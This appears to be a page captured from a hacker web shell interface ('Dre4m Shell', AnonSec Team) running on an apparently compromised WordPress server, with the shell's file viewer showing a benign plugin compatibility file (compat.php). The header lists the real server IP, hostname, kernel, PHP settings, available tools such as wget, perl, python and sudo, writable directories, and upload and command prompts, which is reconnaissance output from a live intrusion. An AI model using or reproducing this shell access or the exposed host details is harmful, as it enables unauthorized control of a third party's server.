Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.129.249.247
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/plugins/enable-media-replace/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/plugins/enable-media-replace/classes//compat.php
<?php

// Compatibility functions for old version of WordPress / PHP / Other


/*
* Introduced in  WP 4.9.7 - https://developer.wordpress.org/reference/functions/wp_delete_attachment_files/
* Compat for previous versions.
*/
if (! function_exists('wp_delete_attachment_files'))
{
  function wp_delete_attachment_files($post_id, $meta, $backup_sizes, $file )
  {
    global $wpdb;
  $uploadpath = wp_get_upload_dir();
  $deleted    = true;

    if ( ! empty( $meta['thumb'] ) ) {
        // Don't delete the thumb if another attachment uses it.
        if ( ! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id ) ) ) {
            $thumbfile = str_replace( wp_basename( $file ), $meta['thumb'], $file );
            if ( ! empty( $thumbfile ) ) {
                $thumbfile = path_join( $uploadpath['basedir'], $thumbfile );
                $thumbdir  = path_join( $uploadpath['basedir'], dirname( $file ) );

                if ( ! wp_delete_file_from_directory( $thumbfile, $thumbdir ) ) {
                    $deleted = false;
                }
            }
        }
    }

    // Remove intermediate and backup images if there are any.
    if ( isset( $meta['sizes'] ) && is_array( $meta['sizes'] ) ) {
        $intermediate_dir = path_join( $uploadpath['basedir'], dirname( $file ) );
        foreach ( $meta['sizes'] as $size => $sizeinfo ) {
            $intermediate_file = str_replace( wp_basename( $file ), $sizeinfo['file'], $file );
            if ( ! empty( $intermediate_file ) ) {
                $intermediate_file = path_join( $uploadpath['basedir'], $intermediate_file );

                if ( ! wp_delete_file_from_directory( $intermediate_file, $intermediate_dir ) ) {
                    $deleted = false;
                }
            }
        }
    }

    if ( is_array( $backup_sizes ) ) {
        $del_dir = path_join( $uploadpath['basedir'], dirname( $meta['file'] ) );
        foreach ( $backup_sizes as $size ) {
            $del_file = path_join( dirname( $meta['file'] ), $size['file'] );
            if ( ! empty( $del_file ) ) {
                $del_file = path_join( $uploadpath['basedir'], $del_file );

                if ( ! wp_delete_file_from_directory( $del_file, $del_dir ) ) {
                    $deleted = false;
                }
            }
        }
    }

    if ( ! wp_delete_file_from_directory( $file, $uploadpath['basedir'] ) ) {
        $deleted = false;
    }

    return $deleted;

  }
} // end function


/*
* Introduced in  WP 4.9.7 - https://developer.wordpress.org/reference/functions/wp_delete_attachment_files/
* Compat for previous versions.
*/
if (! function_exists('wp_delete_file_from_directory'))
{
  function wp_delete_file_from_directory( $file, $directory ) {
    if ( wp_is_stream( $file ) ) {
        $real_file      = wp_normalize_path( $file );
        $real_directory = wp_normalize_path( $directory );
    } else {
        $real_file      = realpath( wp_normalize_path( $file ) );
        $real_directory = realpath( wp_normalize_path( $directory ) );
    }

    if ( false === $real_file || false === $real_directory || strpos( $real_file, trailingslashit( $real_directory ) ) !== 0 ) {
        return false;
    }

    wp_delete_file( $file );

    return true;
  }

} // end function


/*
* Introduced in WP 4.5.0 - needed for compat function of wp_delete_attachment_files
*/
if (! function_exists('wp_get_upload_dir'))
{
  function wp_get_upload_dir() {
	         return wp_upload_dir( null, false );
         }
}

Anon7 - 2022
AnonSec Team